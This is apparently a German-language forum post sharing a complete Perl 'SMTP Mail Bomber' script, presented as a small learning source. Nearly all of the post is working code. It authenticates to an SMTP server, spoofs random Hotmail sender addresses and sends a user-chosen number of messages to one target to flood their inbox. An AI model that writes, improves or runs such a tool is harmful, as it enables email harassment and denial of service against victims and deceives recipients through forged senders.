Naja, ist ein kleiner Source, aber zum lernen nicht schlecht
Perl
#!/usr/bin/perl
#
# [ Simple SMTP Mail Bomber ]
#
# Perl Edition by Perforin
#modded by fred777
#
use Net::SMTP;
use NET::SMTP_auth;
($anzahl,$for,$subject) = @ARGV;
($user,$pass,$count,$version) = ('fubar@warezmail.net',"qwertz123",0,1); # Natürlich PW und User ändern
print <<INTRO;
+-+-+-+-+-+-+-+-+-+-+-+
+-+ SMTP Mailbomber 1.1+-+
+-+-+-+-+-+-+-+-+-+-+-+
V.$version
INTRO
if (@ARGV < 3) {
print "\n$0 <Number> <Mail> <Subject>\n";
} else {
print "\nPlease type your Text here:\n";
chop($text = <STDIN>);
do {
$zahl = rand(30);
$extra = int($zahl);
$from = "$extra".'@'."hotmail.com";
$smtp = Net::SMTP_auth->new('mail.warezmail.net'); # CHANGE SMTP SERVER
$smtp->auth('LOGIN', $user, $pass);
$smtp->mail();
$smtp->to($for);
$smtp->data();
$smtp->datasend("To: $for\n");
$smtp->datasend("From: $from\n");
$smtp->datasend("Subject: $subject\n");
$smtp->datasend("$text\n") or die "not auth";
$smtp->dataend();
$smtp->quit;
$count++;
} until ($count == $anzahl);
print "\nMails verschickt!\n";
Alles anzeigen